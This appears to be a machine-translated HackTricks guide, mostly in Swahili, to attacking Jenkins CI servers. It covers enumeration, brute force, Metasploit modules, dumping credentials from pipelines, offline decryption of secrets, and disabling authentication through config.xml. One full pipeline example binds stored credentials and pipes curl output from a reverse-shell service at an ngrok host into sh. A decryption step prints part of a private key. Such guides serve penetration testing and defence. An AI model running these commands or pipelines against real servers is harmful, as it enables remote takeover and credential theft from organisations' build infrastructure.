Jenkins Security

Support HackTricks

Basic Information

Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha kuunganishwa kwa muda mrefu au kutoa kwa muda mrefu (CI/CD) mazingira kwa karibu mchanganyiko wowote wa lugha za programu na hifadhi za msimbo wa chanzo kwa kutumia mipango. Zaidi ya hayo, inafanya kazi mbalimbali za kawaida za maendeleo kiotomatiki. Ingawa Jenkins haiondoi hitaji la kuunda skripti kwa hatua za kibinafsi, inatoa njia ya haraka na yenye nguvu zaidi ya kuunganisha mfululizo mzima wa zana za kujenga, kujaribu, na kutekeleza kuliko mtu anavyoweza kujenga kwa urahisi kwa mikono.

Basic Jenkins Information

Unauthenticated Enumeration

Ili kutafuta kurasa za Jenkins zinazovutia bila uthibitisho kama (/people au /asynchPeople, hii inataja watumiaji wa sasa) unaweza kutumia:

msf> use auxiliary/scanner/http/jenkins_enum

Angalia kama unaweza kutekeleza amri bila kuhitaji uthibitisho:

msf> use auxiliary/scanner/http/jenkins_command

Bila kuwa na akreditif unaweza kuangalia ndani ya /asynchPeople/ njia au /securityRealm/user/admin/search/index?q= kwa majina ya watumiaji.

Unaweza kuwa na uwezo wa kupata toleo la Jenkins kutoka kwenye njia /oops au /error.

Uthibitisho wa Hatari

Ingia

Katika taarifa za msingi unaweza kuangalia njia zote za kuingia ndani ya Jenkins:

Basic Jenkins Information

Jisajili

Utakuwa na uwezo wa kupata mifano ya Jenkins ambazo zinakuruhusu kuunda akaunti na kuingia ndani yake. Rahisi kama hiyo.

SSO Ingia

Pia ikiwa SSO ufunctionality/plugins zilikuwepo basi unapaswa kujaribu kuingia kwenye programu kwa kutumia akaunti ya majaribio (yaani, akaunti ya majaribio ya Github/Bitbucket). Njia kutoka hapa.

Bruteforce

Jenkins haina sera ya nywila na kuzuia nguvu za nywila za majina ya watumiaji. Ni muhimu kujaribu nguvu watumiaji kwani nywila dhaifu au majina ya watumiaji kama nywila yanaweza kutumika, hata majina ya watumiaji yaliyogeuzwa kuwa nywila.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Tumia hii script ya python au hii script ya powershell.

IP Whitelisting Bypass

Mashirika mengi yanachanganya mifumo ya usimamizi wa chanzo cha SaaS kama GitHub au GitLab na ufumbuzi wa CI wa ndani, uliojiendesha kama Jenkins au TeamCity. Mpangilio huu unaruhusu mifumo ya CI kupokea matukio ya webhook kutoka kwa wauzaji wa chanzo cha SaaS, hasa kwa ajili ya kuanzisha kazi za pipeline.

Ili kufanikisha hili, mashirika yanawajulisha mipango ya IP ya mifumo ya SCM, ikiruhusu kufikia mfumo wa CI wa ndani kupitia webhooks. Hata hivyo, ni muhimu kutambua kwamba mtu yeyote anaweza kuunda akaunti kwenye GitHub au GitLab na kuiseti ili kuanzisha webhook, ambayo inaweza kutuma maombi kwa mfumo wa CI wa ndani.

Angalia: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

Katika hali hizi tutadhani una akaunti halali ya kufikia Jenkins.

Kulingana na mekanismu ya Uidhinishaji iliyowekwa katika Jenkins na ruhusa ya mtumiaji aliyeathirika, huenda ukawa na uwezo au usiwe na uwezo wa kufanya mashambulizi yafuatayo.

Kwa maelezo zaidi angalia taarifa za msingi:

Basic Jenkins Information

Listing users

Ikiwa umefikia Jenkins unaweza orodhesha watumiaji wengine waliojiandikisha katika http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Tumia hii script kutupa matokeo ya console ya ujenzi na vigezo vya mazingira ya ujenzi ili kutumaini kupata siri za wazi.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Kuhusisha Akiba za SSH

Ikiwa mtumiaji aliyeathirika ana mamlaka ya kutosha kuunda/kubadilisha node mpya ya Jenkins na akiba za SSH tayari zimehifadhiwa ili kufikia nodi nyingine, anaweza kuiba akiba hizo kwa kuunda/kubadilisha node na kuweka mwenyeji ambaye atarekodi akiba hizo bila kuthibitisha funguo za mwenyeji:

Kwa kawaida utapata akiba za ssh za Jenkins katika mtoa huduma wa kimataifa (/credentials/), hivyo unaweza pia kuzitupa kama unavyotupa siri nyingine yoyote. Maelezo zaidi katika Sehemu ya Kutupa siri.

RCE katika Jenkins

Kupata shell katika seva ya Jenkins inampa mshambuliaji fursa ya kuvuja siri zote na mabadiliko ya mazingira na kufanya kazi na mashine nyingine zilizoko katika mtandao mmoja au hata kusanya akiba za wingu.

Kwa kawaida, Jenkins itakuwa ikifanya kazi kama SYSTEM. Hivyo, kuathiri hii kutampa mshambuliaji mamlaka ya SYSTEM.

RCE Kuunda/Kubadilisha mradi

Kuunda/Kubadilisha mradi ni njia ya kupata RCE juu ya seva ya Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Kutekeleza script ya Groovy

Unaweza pia kupata RCE kwa kutekeleza script ya Groovy, ambayo inaweza kuwa ya siri zaidi kuliko kuunda mradi mpya:

Jenkins RCE with Groovy Script

RCE Kuunda/Kubadilisha Pipeline

Unaweza pia kupata RCE kwa kuunda/kubadilisha pipeline:

Jenkins RCE Creating/Modifying Pipeline

Ukatili wa Pipeline

Ili kutumia pipelines bado unahitaji kuwa na ufikiaji wa Jenkins.

Kujenga Pipelines

Pipelines zinaweza pia kutumika kama mekanismu ya kujenga katika miradi, katika kesi hiyo inaweza kuundwa faili ndani ya hazina ambayo itakuwa na sintaksia ya pipeline. Kwa kawaida /Jenkinsfile inatumika:

Pia inawezekana hifadhi faili za usanidi wa pipeline mahali pengine (katika hazina nyingine kwa mfano) kwa lengo la kutenganisha ufikiaji wa hazina na ufikiaji wa pipeline.

Ikiwa mshambuliaji ana ufikiaji wa kuandika juu ya faili hiyo atakuwa na uwezo wa kuyabadilisha na kuzindua pipeline bila hata kuwa na ufikiaji wa Jenkins. Inawezekana kwamba mshambuliaji atahitaji kuzidi baadhi ya ulinzi wa tawi (kulingana na jukwaa na mamlaka za mtumiaji zinaweza kuzidiwa au la).

Vichocheo vya kawaida vya kutekeleza pipeline maalum ni:

  • Ombi la kuvuta kwenye tawi kuu (au labda kwenye matawi mengine)

  • Kusukuma kwenye tawi kuu (au labda kwenye matawi mengine)

  • Sasisha tawi kuu na subiri hadi itekelezwe kwa namna fulani

Ikiwa wewe ni mtumiaji wa nje huwezi kutarajia kuunda PR kwenye tawi kuu la hazina ya mtumiaji/taasisi nyingine na kuzindua pipeline... lakini ikiwa ime pangwa vibaya unaweza kabisa kuathiri kampuni kwa kutumia hii.

RCE ya Pipeline

Katika sehemu ya awali ya RCE tayari ilionyeshwa mbinu ya kupata RCE kwa kubadilisha pipeline.

Kuangalia Mabadiliko ya Mazingira

Inawezekana kutangaza mabadiliko ya mazingira ya maandiko kwa pipeline nzima au kwa hatua maalum. Mabadiliko haya ya mazingira hayapaswi kuwa na taarifa nyeti, lakini mshambuliaji anaweza kila wakati kuangalia usanidi wote wa pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Kwa maelezo kuhusu jinsi siri zinavyoshughulikiwa na Jenkins angalia taarifa za msingi:

Basic Jenkins Information

Akreditivu zinaweza kuwekwa kwa watoa huduma wa kimataifa (/credentials/) au kwa miradi maalum (/job/<project-name>/configure). Hivyo, ili kuweza kuhamasisha zote unahitaji kudhoofisha angalau miradi yote ambayo ina siri na kutekeleza mipangilio ya kawaida/iliyoshawishiwa.

Kuna tatizo lingine, ili kupata siri ndani ya env ya pipeline unahitaji kujua jina na aina ya siri. Kwa mfano, unajaribu kuchota usernamePassword siri kama string siri utapata kosa hili:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hapa kuna njia ya kupakia aina kadhaa za siri za kawaida:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Katika mwisho wa ukurasa huu unaweza kupata aina zote za akreditivu: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Njia bora ya kutoa siri zote kwa wakati mmoja ni kwa kuathiri mashine ya Jenkins (kufanya kazi na shell ya nyuma katika node iliyo ndani kwa mfano) na kisha kuvuja funguo za bwana na siri zilizofichwa na kuzifungua bila mtandao. Zaidi kuhusu jinsi ya kufanya hivi katika sehemu ya Nodes & Agents na katika sehemu ya Post Exploitation.

Vichocheo

Kutoka nyaraka: Mwelekeo wa triggers unafafanua njia za kiotomatiki ambazo Pipeline inapaswa kuanzishwa tena. Kwa Pipelines ambazo zimeunganishwa na chanzo kama GitHub au BitBucket, triggers huenda zisihitajike kwani uunganisho wa msingi wa webhooks tayari utakuwepo. Vichocheo vilivyopo kwa sasa ni cron, pollSCM na upstream.

Mfano wa Cron:

triggers { cron('H */4 * * 1-5') }

Check other examples in the docs.

Nodes & Agents

A Jenkins instance might have different agents running in different machines. From an attacker perspective, access to different machines means different potential cloud credentials to steal or different network access that could be abuse to exploit other machines.

For more information check the basic information:

Basic Jenkins Information

You can enumerate the configured nodes in /computer/, you will usually find the Built-In Node (which is the node running Jenkins) and potentially more:

It is specially interesting to compromise the Built-In node because it contains sensitive Jenkins information.

To indicate you want to run the pipeline in the built-in Jenkins node you can specify inside the pipeline the following config:

pipeline {
agent {label 'built-in'}

Mfano kamili

Pipeline katika wakala maalum, ikiwa na kichocheo cha cron, ikiwa na mabadiliko ya mazingira ya pipeline na hatua, ikipakia mabadiliko 2 katika hatua na kutuma shell ya kinyume:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Kusoma Faili Bila Mpangilio hadi RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Baada ya Kutekeleza

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Unaweza kuorodhesha siri kwa kufikia /credentials/ ikiwa una ruhusa za kutosha. Kumbuka kwamba hii itataja tu siri zilizo ndani ya faili credentials.xml, lakini faili za usanidi wa ujenzi zinaweza pia kuwa na siri zaidi.

Ikiwa unaweza kuona usanidi wa kila mradi, unaweza pia kuona huko majina ya siri (credentials) yanayotumika kufikia hifadhi na siri nyingine za mradi.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Faili hizi zinahitajika ili kufichua siri za Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Siri kama hizo kwa kawaida zinaweza kupatikana katika:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Hapa kuna regex ya kuzipata:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Ikiwa umepata neno la siri zinazohitajika kufungua siri hizo, tumia hii script kufungua siri hizo.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Tafsiri siri za Jenkins kutoka Groovy

println(hudson.util.Secret.decrypt("{...}"))

Unda mtumiaji mpya wa admin

  1. Fikia faili la Jenkins config.xml katika /var/lib/jenkins/config.xml au C:\Program Files (x86)\Jenkis\

  2. Tafuta neno <useSecurity>true</useSecurity> na badilisha neno true kuwa false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Restart seva ya Jenkins: service jenkins restart

  5. Sasa nenda kwenye portal ya Jenkins tena na Jenkins haitahitaji akidi yoyote wakati huu. Unatembea kwenye "Manage Jenkins" kuweka nenosiri la msimamizi tena.

  6. Wezesha usalama tena kwa kubadilisha mipangilio kuwa <useSecurity>true</useSecurity> na restart Jenkins tena.

Marejeleo

Support HackTricks

Last updated